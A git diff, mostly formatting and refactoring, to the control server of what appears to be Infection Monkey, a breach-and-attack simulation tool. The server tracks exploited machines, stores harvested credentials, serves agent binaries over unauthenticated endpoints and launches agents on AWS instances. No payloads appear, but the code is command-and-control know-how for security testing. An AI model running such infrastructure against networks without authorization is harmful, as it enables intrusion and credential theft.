+ update["$set"]["ttl_ref"] = ttl.id
return mongo.db.monkey.update({"_id": monkey["_id"]}, update, upsert=False)
# Used by monkey. can't secure.
# Called on monkey wakeup to initialize local configuration
- @TestTelemStore.store_test_telem
+ @TestTelemStore.store_exported_telem
def post(self, **kw):
monkey_json = json.loads(request.data)
- monkey_json['creds'] = []
- monkey_json['dead'] = False
- if 'keepalive' in monkey_json:
- monkey_json['keepalive'] = dateutil.parser.parse(monkey_json['keepalive'])
+ monkey_json["creds"] = []
+ monkey_json["dead"] = False
+ if "keepalive" in monkey_json:
+ monkey_json["keepalive"] = dateutil.parser.parse(monkey_json["keepalive"])
else:
- monkey_json['keepalive'] = datetime.now()
+ monkey_json["keepalive"] = datetime.now()
- monkey_json['modifytime'] = datetime.now()
+ monkey_json["modifytime"] = datetime.now()
ConfigService.save_initial_config_if_needed()
@@ -79,47 +76,63 @@ class Monkey(flask_restful.Resource):
# Update monkey configuration
new_config = ConfigService.get_flat_config(False, False)
- monkey_json['config'] = monkey_json.get('config', {})
- monkey_json['config'].update(new_config)
+ monkey_json["config"] = monkey_json.get("config", {})
+ monkey_json["config"].update(new_config)
# try to find new monkey parent
- parent = monkey_json.get('parent')
- parent_to_add = (monkey_json.get('guid'), None) # default values in case of manual run
- if parent and parent != monkey_json.get('guid'): # current parent is known
- exploit_telem = [x for x in
- mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'},
- 'data.result': {'$eq': True},
- 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']},
- 'monkey_guid': {'$eq': parent}})]
+ parent = monkey_json.get("parent")
+ parent_to_add = (monkey_json.get("guid"), None) # default values in case of manual run
+ if parent and parent != monkey_json.get("guid"): # current parent is known
+ exploit_telem = [
+ x
+ for x in mongo.db.telemetry.find(
+ {
+ "telem_category": {"$eq": "exploit"},
+ "data.result": {"$eq": True},
+ "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]},
+ "monkey_guid": {"$eq": parent},
+ }
+ )
+ ]
if 1 == len(exploit_telem):
- parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter'))
+ parent_to_add = (
+ exploit_telem[0].get("monkey_guid"),
+ exploit_telem[0].get("data").get("exploiter"),
+ )
else:
parent_to_add = (parent, None)
- elif (not parent or parent == monkey_json.get('guid')) and 'ip_addresses' in monkey_json:
- exploit_telem = [x for x in
- mongo.db.telemetry.find({'telem_category': {'$eq': 'exploit'},
- 'data.result': {'$eq': True},
- 'data.machine.ip_addr': {'$in': monkey_json['ip_addresses']}})]
+ elif (not parent or parent == monkey_json.get("guid")) and "ip_addresses" in monkey_json:
+ exploit_telem = [
+ x
+ for x in mongo.db.telemetry.find(
+ {
+ "telem_category": {"$eq": "exploit"},
+ "data.result": {"$eq": True},
+ "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]},
+ }
+ )
+ ]
if 1 == len(exploit_telem):
- parent_to_add = (exploit_telem[0].get('monkey_guid'), exploit_telem[0].get('data').get('exploiter'))
+ parent_to_add = (
+ exploit_telem[0].get("monkey_guid"),
+ exploit_telem[0].get("data").get("exploiter"),
+ )
if not db_monkey:
- monkey_json['parent'] = [parent_to_add]
+ monkey_json["parent"] = [parent_to_add]
else:
- monkey_json['parent'] = db_monkey.get('parent') + [parent_to_add]
+ monkey_json["parent"] = db_monkey.get("parent") + [parent_to_add]
tunnel_host_ip = None
- if 'tunnel' in monkey_json:
- tunnel_host_ip = monkey_json['tunnel'].split(":")[-2].replace("//", "")
- monkey_json.pop('tunnel')
+ if "tunnel" in monkey_json:
+ tunnel_host_ip = monkey_json["tunnel"].split(":")[-2].replace("//", "")
+ monkey_json.pop("tunnel")
ttl = create_monkey_ttl_document(DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS)
- monkey_json['ttl_ref'] = ttl.id
+ monkey_json["ttl_ref"] = ttl.id
- mongo.db.monkey.update({"guid": monkey_json["guid"]},
- {"$set": monkey_json},
- upsert=True)
+ mongo.db.monkey.update({"guid": monkey_json["guid"]}, {"$set": monkey_json}, upsert=True)
# Merge existing scanned node with new monkey
@@ -128,13 +141,14 @@ class Monkey(flask_restful.Resource):
if tunnel_host_ip is not None:
NodeService.set_monkey_tunnel(new_monkey_id, tunnel_host_ip)
- existing_node = mongo.db.node.find_one({"ip_addresses": {"$in": monkey_json["ip_addresses"]}})
+ existing_node = mongo.db.node.find_one(
+ {"ip_addresses": {"$in": monkey_json["ip_addresses"]}}
+ )
if existing_node:
node_id = existing_node["_id"]
- EdgeService.update_all_dst_nodes(old_dst_node_id=node_id,
- new_dst_node_id=new_monkey_id)
- for creds in existing_node['creds']:
+ EdgeService.update_all_dst_nodes(old_dst_node_id=node_id, new_dst_node_id=new_monkey_id)
+ for creds in existing_node["creds"]:
NodeService.add_credentials_to_monkey(new_monkey_id, creds)
mongo.db.node.remove({"_id": node_id})
diff --git a/monkey/monkey_island/cc/resources/monkey_configuration.py b/monkey/monkey_island/cc/resources/monkey_configuration.py
index e6b94cf81..608030e5c 100644
--- a/monkey/monkey_island/cc/resources/monkey_configuration.py
+++ b/monkey/monkey_island/cc/resources/monkey_configuration.py
@@ -6,18 +6,19 @@ from flask import abort, jsonify, request
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.config import ConfigService
-__author__ = 'Barak'
-
class MonkeyConfiguration(flask_restful.Resource):
@jwt_required
def get(self):
- return jsonify(schema=ConfigService.get_config_schema(), configuration=ConfigService.get_config(False, True))
+ return jsonify(
+ schema=ConfigService.get_config_schema(),
+ configuration=ConfigService.get_config(False, True),
+ )
@jwt_required
def post(self):
config_json = json.loads(request.data)
- if 'reset' in config_json:
+ if "reset" in config_json:
ConfigService.reset_config()
else:
if not ConfigService.update_config(config_json, should_encrypt=True):
diff --git a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py
index 552dce51e..f0d7e411f 100644
--- a/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py
+++ b/monkey/monkey_island/cc/resources/monkey_control/started_on_island.py
@@ -11,6 +11,6 @@ class StartedOnIsland(flask_restful.Resource):
# Used by monkey. can't secure.
def post(self):
data = json.loads(request.data)
- if data['started_on_island']:
+ if data["started_on_island"]:
ConfigService.set_started_on_island(True)
return make_response({}, 200)
diff --git a/monkey/monkey_island/cc/resources/monkey_download.py b/monkey/monkey_island/cc/resources/monkey_download.py
index c9d3127a4..24e03280c 100644
--- a/monkey/monkey_island/cc/resources/monkey_download.py
+++ b/monkey/monkey_island/cc/resources/monkey_download.py
@@ -8,64 +8,64 @@ from flask import request, send_from_directory
from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
-__author__ = 'Barak'
-
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [
{
- 'type': 'linux',
- 'machine': 'x86_64',
- 'filename': 'monkey-linux-64',
+ "type": "linux",
+ "machine": "x86_64",
+ "filename": "monkey-linux-64",
},
{
- 'type': 'linux',
- 'machine': 'i686',
- 'filename': 'monkey-linux-32',
+ "type": "linux",
+ "machine": "i686",
+ "filename": "monkey-linux-32",
},
{
- 'type': 'linux',
- 'machine': 'i386',
- 'filename': 'monkey-linux-32',
+ "type": "linux",
+ "machine": "i386",
+ "filename": "monkey-linux-32",
},
{
- 'type': 'linux',
- 'filename': 'monkey-linux-64',
+ "type": "linux",
+ "filename": "monkey-linux-64",
},
{
- 'type': 'windows',
- 'machine': 'x86',
- 'filename': 'monkey-windows-32.exe',
+ "type": "windows",
+ "machine": "x86",
+ "filename": "monkey-windows-32.exe",
},
{
- 'type': 'windows',
- 'machine': 'amd64',
- 'filename': 'monkey-windows-64.exe',
+ "type": "windows",
+ "machine": "amd64",
+ "filename": "monkey-windows-64.exe",
},
{
- 'type': 'windows',
- 'machine': '64',
- 'filename': 'monkey-windows-64.exe',
+ "type": "windows",
+ "machine": "64",
+ "filename": "monkey-windows-64.exe",
},
{
- 'type': 'windows',
- 'machine': '32',
- 'filename': 'monkey-windows-32.exe',
+ "type": "windows",
+ "machine": "32",
+ "filename": "monkey-windows-32.exe",
},
{
- 'type': 'windows',
- 'filename': 'monkey-windows-32.exe',
+ "type": "windows",
+ "filename": "monkey-windows-32.exe",
},
]
def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS:
- if host_os == download.get('type') and machine == download.get('machine'):
- logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
+ if host_os == download.get("type") and machine == download.get("machine"):
+ logger.info("Monkey exec found for os: {0} and machine: {1}".format(host_os, machine))
return download
- logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
- .format(host_os, machine))
+ logger.warning(
+ "No monkey executables could be found for the host os or machine or both: host_os: {"
+ "0}, machine: {1}".format(host_os, machine)
+ )
return None
@@ -73,44 +73,46 @@ class MonkeyDownload(flask_restful.Resource):
# Used by monkey. can't secure.
def get(self, path):
- return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'binaries'), path)
+ return send_from_directory(os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries"), path)
# Used by monkey. can't secure.
def post(self):
host_json = json.loads(request.data)
- host_os = host_json.get('os')
+ host_os = host_json.get("os")
if host_os:
- result = get_monkey_executable(host_os.get('type'), host_os.get('machine'))
+ result = get_monkey_executable(host_os.get("type"), host_os.get("machine"))
if result:
# change resulting from new base path
- executable_filename = result['filename']
+ executable_filename = result["filename"]
real_path = MonkeyDownload.get_executable_full_path(executable_filename)
if os.path.isfile(real_path):
- result['size'] = os.path.getsize(real_path)
+ result["size"] = os.path.getsize(real_path)
return result
return {}
@staticmethod
def get_executable_full_path(executable_filename):
- real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", 'binaries', executable_filename)
+ real_path = os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", "binaries", executable_filename)
return real_path
@staticmethod
def log_executable_hashes():
"""
- Logs all the hashes of the monkey executables for debugging ease (can check what Monkey version you have etc.).
+ Logs all the hashes of the monkey executables for debugging ease (can check what Monkey
+ version you have etc.).
"""
- filenames = set([x['filename'] for x in MONKEY_DOWNLOADS])
+ filenames = set([x["filename"] for x in MONKEY_DOWNLOADS])
for filename in filenames:
filepath = MonkeyDownload.get_executable_full_path(filename)
if os.path.isfile(filepath):
- with open(filepath, 'rb') as monkey_exec_file:
+ with open(filepath, "rb") as monkey_exec_file:
file_contents = monkey_exec_file.read()
- logger.debug("{} hashes:\nSHA-256 {}".format(
- filename,
- hashlib.sha256(file_contents).hexdigest()
- ))
+ logger.debug(
+ "{} hashes:\nSHA-256 {}".format(
+ filename, hashlib.sha256(file_contents).hexdigest()
+ )
+ )
else:
logger.debug("No monkey executable for {}.".format(filepath))
diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py
index 899dc478c..a649fff76 100644
--- a/monkey/monkey_island/cc/resources/netmap.py
+++ b/monkey/monkey_island/cc/resources/netmap.py
@@ -4,8 +4,6 @@ from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.netmap.net_edge import NetEdgeService
from monkey_island.cc.services.netmap.net_node import NetNodeService
-__author__ = 'Barak'
-
class NetMap(flask_restful.Resource):
@jwt_required
@@ -13,8 +11,4 @@ class NetMap(flask_restful.Resource):
net_nodes = NetNodeService.get_all_net_nodes()
net_edges = NetEdgeService.get_all_net_edges()
- return \
- {
- "nodes": net_nodes,
- "edges": net_edges
- }
+ return {"nodes": net_nodes, "edges": net_edges}
diff --git a/monkey/monkey_island/cc/resources/node.py b/monkey/monkey_island/cc/resources/node.py
index ff630b9a4..d4252354c 100644
--- a/monkey/monkey_island/cc/resources/node.py
+++ b/monkey/monkey_island/cc/resources/node.py
@@ -4,13 +4,11 @@ from flask import request
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.node import NodeService
-__author__ = 'Barak'
-
class Node(flask_restful.Resource):
@jwt_required
def get(self):
- node_id = request.args.get('id')
+ node_id = request.args.get("id")
if node_id:
return NodeService.get_displayed_node_by_id(node_id)
diff --git a/monkey/monkey_island/cc/resources/node_states.py b/monkey/monkey_island/cc/resources/node_states.py
index 87be11ab5..073aafffd 100644
--- a/monkey/monkey_island/cc/resources/node_states.py
+++ b/monkey/monkey_island/cc/resources/node_states.py
@@ -7,4 +7,4 @@ from monkey_island.cc.services.utils.node_states import NodeStates as NodeStateL
class NodeStates(flask_restful.Resource):
@jwt_required
def get(self):
- return {'node_states': [state.value for state in NodeStateList]}
+ return {"node_states": [state.value for state in NodeStateList]}
diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py
index 4fe05c98f..df9766ed6 100644
--- a/monkey/monkey_island/cc/resources/pba_file_download.py
+++ b/monkey/monkey_island/cc/resources/pba_file_download.py
@@ -1,9 +1,7 @@
import flask_restful
from flask import send_from_directory
-from monkey_island.cc.services.post_breach_files import ABS_UPLOAD_PATH
-
-__author__ = 'VakarisZ'
+from monkey_island.cc.services.post_breach_files import PostBreachFilesService
class PBAFileDownload(flask_restful.Resource):
@@ -12,5 +10,6 @@ class PBAFileDownload(flask_restful.Resource):
"""
# Used by monkey. can't secure.
- def get(self, path):
- return send_from_directory(ABS_UPLOAD_PATH, path)
+ def get(self, filename):
+ custom_pba_dir = PostBreachFilesService.get_custom_pba_directory()
+ return send_from_directory(custom_pba_dir, filename)
diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py
index 6d6795f74..e96951702 100644
--- a/monkey/monkey_island/cc/resources/pba_file_upload.py
+++ b/monkey/monkey_island/cc/resources/pba_file_upload.py
@@ -1,31 +1,26 @@
import copy
import logging
-import os
import flask_restful
from flask import Response, request, send_from_directory
+from werkzeug.datastructures import FileStorage
from werkzeug.utils import secure_filename
+from common.config_value_paths import PBA_LINUX_FILENAME_PATH, PBA_WINDOWS_FILENAME_PATH
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.config import ConfigService
-from monkey_island.cc.services.post_breach_files import (ABS_UPLOAD_PATH, PBA_LINUX_FILENAME_PATH,
- PBA_WINDOWS_FILENAME_PATH)
-
-__author__ = 'VakarisZ'
+from monkey_island.cc.services.post_breach_files import PostBreachFilesService
LOG = logging.getLogger(__name__)
-# Front end uses these strings to identify which files to work with (linux of windows)
-LINUX_PBA_TYPE = 'PBAlinux'
-WINDOWS_PBA_TYPE = 'PBAwindows'
+# Front end uses these strings to identify which files to work with (linux or windows)
+LINUX_PBA_TYPE = "PBAlinux"
+WINDOWS_PBA_TYPE = "PBAwindows"
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
- def __init__(self):
- # Create all directories on the way if they don't exist
- ABS_UPLOAD_PATH.mkdir(parents=True, exist_ok=True)
@jwt_required
def get(self, file_type):
@@ -39,7 +34,7 @@ class FileUpload(flask_restful.Resource):
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
- return send_from_directory(ABS_UPLOAD_PATH, filename)
+ return send_from_directory(PostBreachFilesService.get_custom_pba_directory(), filename)
@jwt_required
def post(self, file_type):
@@ -48,13 +43,32 @@ class FileUpload(flask_restful.Resource):
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
- filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
+ filename = FileUpload.upload_pba_file(
+ request.files["filepond"], (file_type == LINUX_PBA_TYPE)
+ )
- response = Response(
- response=filename,
- status=200, mimetype='text/plain')
+ response = Response(response=filename, status=200, mimetype="text/plain")
return response
+ @staticmethod
+ def upload_pba_file(file_storage: FileStorage, is_linux=True):
+ """
+ Uploads PBA file to island's file system
+ :param request_: Request object containing PBA file
+ :param is_linux: Boolean indicating if this file is for windows or for linux
+ :return: filename string
+ """
+ filename = secure_filename(file_storage.filename)
+ file_contents = file_storage.read()
+
+ PostBreachFilesService.save_file(filename, file_contents)
+
+ ConfigService.set_config_value(
+ (PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename
+ )
+
+ return filename
+
@jwt_required
def delete(self, file_type):
"""
@@ -62,28 +76,12 @@ class FileUpload(flask_restful.Resource):
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
- filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
+ filename_path = (
+ PBA_LINUX_FILENAME_PATH if file_type == "PBAlinux" else PBA_WINDOWS_FILENAME_PATH
+ )
filename = ConfigService.get_config_value(filename_path)
- file_path = ABS_UPLOAD_PATH.joinpath(filename)
- try:
- if os.path.exists(file_path):
- os.remove(file_path)
- ConfigService.set_config_value(filename_path, '')
- except OSError as e:
- LOG.error("Can't remove previously uploaded post breach files: %s" % e)
+ if filename:
+ PostBreachFilesService.remove_file(filename)
+ ConfigService.set_config_value(filename_path, "")
return {}
-
- @staticmethod
- def upload_pba_file(request_, is_linux=True):
- """
- Uploads PBA file to island's file system
- :param request_: Request object containing PBA file
- :param is_linux: Boolean indicating if this file is for windows or for linux
- :return: filename string
- """
- filename = secure_filename(request_.files['filepond'].filename)
- file_path = ABS_UPLOAD_PATH.joinpath(filename).absolute()
- request_.files['filepond'].save(str(file_path))
- ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
- return filename
diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py
new file mode 100644
index 000000000..af86e75a1
--- /dev/null
+++ b/monkey/monkey_island/cc/resources/ransomware_report.py
@@ -0,0 +1,15 @@
+import flask_restful
+from flask import jsonify
+
+from monkey_island.cc.resources.auth.auth import jwt_required
+from monkey_island.cc.services.ransomware import ransomware_report
+
+
+class RansomwareReport(flask_restful.Resource):
+ @jwt_required
+ def get(self):
+ return jsonify(
+ {
+ "propagation_stats": ransomware_report.get_propagation_stats(),
+ }
+ )
diff --git a/monkey/monkey_island/cc/resources/remote_run.py b/monkey/monkey_island/cc/resources/remote_run.py
index 0e80f25c0..0e6e6df10 100644
--- a/monkey/monkey_island/cc/resources/remote_run.py
+++ b/monkey/monkey_island/cc/resources/remote_run.py
@@ -8,10 +8,14 @@ from common.cloud.aws.aws_service import AwsService
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
-CLIENT_ERROR_FORMAT = "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the " \
- "instance doesn't permit SSM calls. "
-NO_CREDS_ERROR_FORMAT = "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the " \
- "instance. "
+CLIENT_ERROR_FORMAT = (
+ "ClientError, error message: '{}'. Probably, the IAM role that has been associated with the "
+ "instance doesn't permit SSM calls. "
+)
+NO_CREDS_ERROR_FORMAT = (
+ "NoCredentialsError, error message: '{}'. Probably, no IAM role has been associated with the "
+ "instance. "
+)
class RemoteRun(flask_restful.Resource):
@@ -20,24 +24,24 @@ class RemoteRun(flask_restful.Resource):
RemoteRunAwsService.init()
def run_aws_monkeys(self, request_body):
- instances = request_body.get('instances')
- island_ip = request_body.get('island_ip')
+ instances = request_body.get("instances")
+ island_ip = request_body.get("island_ip")
return RemoteRunAwsService.run_aws_monkeys(instances, island_ip)
@jwt_required
def get(self):
- action = request.args.get('action')
- if action == 'list_aws':
+ action = request.args.get("action")
+ if action == "list_aws":
is_aws = RemoteRunAwsService.is_running_on_aws()
- resp = {'is_aws': is_aws}
+ resp = {"is_aws": is_aws}
if is_aws:
try:
- resp['instances'] = AwsService.get_instances()
+ resp["instances"] = AwsService.get_instances()
except NoCredentialsError as e:
- resp['error'] = NO_CREDS_ERROR_FORMAT.format(e)
+ resp["error"] = NO_CREDS_ERROR_FORMAT.format(e)
return jsonify(resp)
except ClientError as e:
- resp['error'] = CLIENT_ERROR_FORMAT.format(e)
+ resp["error"] = CLIENT_ERROR_FORMAT.format(e)
return jsonify(resp)
return jsonify(resp)
@@ -47,11 +51,11 @@ class RemoteRun(flask_restful.Resource):
def post(self):
body = json.loads(request.data)
resp = {}
- if body.get('type') == 'aws':
+ if body.get("type") == "aws":
RemoteRunAwsService.update_aws_region_authless()
result = self.run_aws_monkeys(body)
- resp['result'] = result
+ resp["result"] = result
return jsonify(resp)
# default action
- return make_response({'error': 'Invalid action'}, 500)
+ return make_response({"error": "Invalid action"}, 500)
diff --git a/monkey/monkey_island/cc/resources/root.py b/monkey/monkey_island/cc/resources/root.py
index 041d38b5e..41ff4e3ad 100644
--- a/monkey/monkey_island/cc/resources/root.py
+++ b/monkey/monkey_island/cc/resources/root.py
@@ -1,27 +1,21 @@
import logging
-import threading
import flask_restful
from flask import jsonify, make_response, request
from monkey_island.cc.database import mongo
-from monkey_island.cc.services.utils.network_utils import local_ip_addresses
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.database import Database
from monkey_island.cc.services.infection_lifecycle import InfectionLifecycle
-
-__author__ = 'Barak'
+from monkey_island.cc.services.utils.network_utils import local_ip_addresses
logger = logging.getLogger(__name__)
class Root(flask_restful.Resource):
- def __init__(self):
- self.report_generating_lock = threading.Event()
-
def get(self, action=None):
if not action:
- action = request.args.get('action')
+ action = request.args.get("action")
if not action:
return self.get_server_info()
@@ -30,13 +24,14 @@ class Root(flask_restful.Resource):
elif action == "killall":
return jwt_required(InfectionLifecycle.kill_all)()
elif action == "is-up":
- return {'is-up': True}
+ return {"is-up": True}
else:
- return make_response(400, {'error': 'unknown action'})
+ return make_response(400, {"error": "unknown action"})
@jwt_required
def get_server_info(self):
return jsonify(
ip_addresses=local_ip_addresses(),
mongo=str(mongo.db),
- completed_steps=InfectionLifecycle.get_completed_steps())
+ completed_steps=InfectionLifecycle.get_completed_steps(),
+ )
diff --git a/monkey/monkey_island/cc/resources/security_report.py b/monkey/monkey_island/cc/resources/security_report.py
index db434d616..b2ce0704e 100644
--- a/monkey/monkey_island/cc/resources/security_report.py
+++ b/monkey/monkey_island/cc/resources/security_report.py
@@ -5,7 +5,6 @@ from monkey_island.cc.services.reporting.report import ReportService
class SecurityReport(flask_restful.Resource):
-
@jwt_required
def get(self):
return ReportService.get_report()
diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py
index 75feb20a4..525197f0f 100644
--- a/monkey/monkey_island/cc/resources/telemetry.py
+++ b/monkey/monkey_island/cc/resources/telemetry.py
@@ -10,49 +10,52 @@ from common.common_consts.telem_categories import TelemCategoryEnum
from monkey_island.cc.database import mongo
from monkey_island.cc.models.monkey import Monkey
from monkey_island.cc.resources.auth.auth import jwt_required
-from monkey_island.cc.resources.test.utils.telem_store import TestTelemStore
+from monkey_island.cc.resources.blackbox.utils.telem_store import TestTelemStore
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.processing import process_telemetry
-__author__ = 'Barak'
-
logger = logging.getLogger(__name__)
class Telemetry(flask_restful.Resource):
@jwt_required
def get(self, **kw):
- monkey_guid = request.args.get('monkey_guid')
- telem_category = request.args.get('telem_category')
- timestamp = request.args.get('timestamp')
+ monkey_guid = request.args.get("monkey_guid")
+ telem_category = request.args.get("telem_category")
+ timestamp = request.args.get("timestamp")
if "null" == timestamp: # special case to avoid ugly JS code...
timestamp = None
- result = {'timestamp': datetime.now().isoformat()}
+ result = {"timestamp": datetime.now().isoformat()}
find_filter = {}
if monkey_guid:
- find_filter["monkey_guid"] = {'$eq': monkey_guid}
+ find_filter["monkey_guid"] = {"$eq": monkey_guid}
if telem_category:
- find_filter["telem_category"] = {'$eq': telem_category}
+ find_filter["telem_category"] = {"$eq": telem_category}
if timestamp:
- find_filter['timestamp'] = {'$gt': dateutil.parser.parse(timestamp)}
+ find_filter["timestamp"] = {"$gt": dateutil.parser.parse(timestamp)}
- result['objects'] = self.telemetry_to_displayed_telemetry(mongo.db.telemetry.find(find_filter))
+ result["objects"] = self.telemetry_to_displayed_telemetry(
+ mongo.db.telemetry.find(find_filter)
+ )
return result
# Used by monkey. can't secure.
- @TestTelemStore.store_test_telem
+ @TestTelemStore.store_exported_telem
def post(self):
telemetry_json = json.loads(request.data)
- telemetry_json['data'] = json.loads(telemetry_json['data'])
- telemetry_json['timestamp'] = datetime.now()
- telemetry_json['command_control_channel'] = {'src': request.remote_addr, 'dst': request.host}
+ telemetry_json["data"] = json.loads(telemetry_json["data"])
+ telemetry_json["timestamp"] = datetime.now()
+ telemetry_json["command_control_channel"] = {
+ "src": request.remote_addr,
+ "dst": request.host,
+ }
# Monkey communicated, so it's alive. Update the TTL.
- Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']).renew_ttl()
+ Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]).renew_ttl()
- monkey = NodeService.get_monkey_by_guid(telemetry_json['monkey_guid'])
+ monkey = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])
NodeService.update_monkey_modify_time(monkey["_id"])
process_telemetry(telemetry_json)
@@ -75,10 +78,10 @@ class Telemetry(flask_restful.Resource):
monkey_label = telem_monkey_guid
x["monkey"] = monkey_label
objects.append(x)
- if x['telem_category'] == TelemCategoryEnum.SYSTEM_INFO and 'credentials' in x['data']:
- for user in x['data']['credentials']:
- if -1 != user.find(','):
- new_user = user.replace(',', '.')
- x['data']['credentials'][new_user] = x['data']['credentials'].pop(user)
+ if x["telem_category"] == TelemCategoryEnum.SYSTEM_INFO and "credentials" in x["data"]:
+ for user in x["data"]["credentials"]:
+ if -1 != user.find(","):
+ new_user = user.replace(",", ".")
+ x["data"]["credentials"][new_user] = x["data"]["credentials"].pop(user)
return objects
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index 3da328b99..37e6327f6 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -13,45 +13,48 @@ from monkey_island.cc.services.node import NodeService
logger = logging.getLogger(__name__)
-__author__ = 'itay.mizeretz'
-
class TelemetryFeed(flask_restful.Resource):
@jwt_required
def get(self, **kw):
- timestamp = request.args.get('timestamp')
+ timestamp = request.args.get("timestamp")
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
- telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})
- telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
+ telemetries = mongo.db.telemetry.find(
+ {"timestamp": {"$gt": dateutil.parser.parse(timestamp)}}
+ )
+ telemetries = telemetries.sort([("timestamp", flask_pymongo.ASCENDING)])
try:
- return \
- {
- 'telemetries': [TelemetryFeed.get_displayed_telemetry(telem) for telem in telemetries
- if TelemetryFeed.should_show_brief(telem)],
- 'timestamp': datetime.now().isoformat()
- }
+ return {
+ "telemetries": [
+ TelemetryFeed.get_displayed_telemetry(telem)
+ for telem in telemetries
+ if TelemetryFeed.should_show_brief(telem)
+ ],
+ "timestamp": datetime.now().isoformat(),
+ }
except KeyError as err:
logger.error("Failed parsing telemetries. Error: {0}.".format(err))
- return {'telemetries': [], 'timestamp': datetime.now().isoformat()}
+ return {"telemetries": [], "timestamp": datetime.now().isoformat()}
@staticmethod
def get_displayed_telemetry(telem):
- monkey = NodeService.get_monkey_by_guid(telem['monkey_guid'])
- default_hostname = "GUID-" + telem['monkey_guid']
- return \
- {
- 'id': telem['_id'],
- 'timestamp': telem['timestamp'].strftime('%d/%m/%Y %H:%M:%S'),
- 'hostname': monkey.get('hostname', default_hostname) if monkey else default_hostname,
- 'brief': TelemetryFeed.get_telem_brief(telem)
- }
+ monkey = NodeService.get_monkey_by_guid(telem["monkey_guid"])
+ default_hostname = "GUID-" + telem["monkey_guid"]
+ return {
+ "id": telem["_id"],
+ "timestamp": telem["timestamp"].strftime("%d/%m/%Y %H:%M:%S"),
+ "hostname": monkey.get("hostname", default_hostname) if monkey else default_hostname,
+ "brief": TelemetryFeed.get_telem_brief(telem),
+ }
@staticmethod
def get_telem_brief(telem):
- telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(telem['telem_category'])
+ telem_brief_parser = TelemetryFeed.get_telem_brief_parser_by_category(
+ telem["telem_category"]
+ )
return telem_brief_parser(telem)
@staticmethod
@@ -60,61 +63,62 @@ class TelemetryFeed(flask_restful.Resource):
@staticmethod
def get_tunnel_telem_brief(telem):
- tunnel = telem['data']['proxy']
+ tunnel = telem["data"]["proxy"]
if tunnel is None:
- return 'No tunnel is used.'
+ return "No tunnel is used."
else:
tunnel_host_ip = tunnel.split(":")[-2].replace("//", "")
- tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)['hostname']
- return 'Tunnel set up to machine: %s.' % tunnel_host
+ tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)["hostname"]
+ return "Tunnel set up to machine: %s." % tunnel_host
@staticmethod
def get_state_telem_brief(telem):
- if telem['data']['done']:
- return '''Monkey finishing its execution.'''
+ if telem["data"]["done"]:
+ return """Monkey finishing its execution."""
else:
- return 'Monkey started.'
+ return "Monkey started."
@staticmethod
def get_exploit_telem_brief(telem):
- target = telem['data']['machine']['ip_addr']
- exploiter = telem['data']['exploiter']
- result = telem['data']['result']
+ target = telem["data"]["machine"]["ip_addr"]
+ exploiter = telem["data"]["exploiter"]
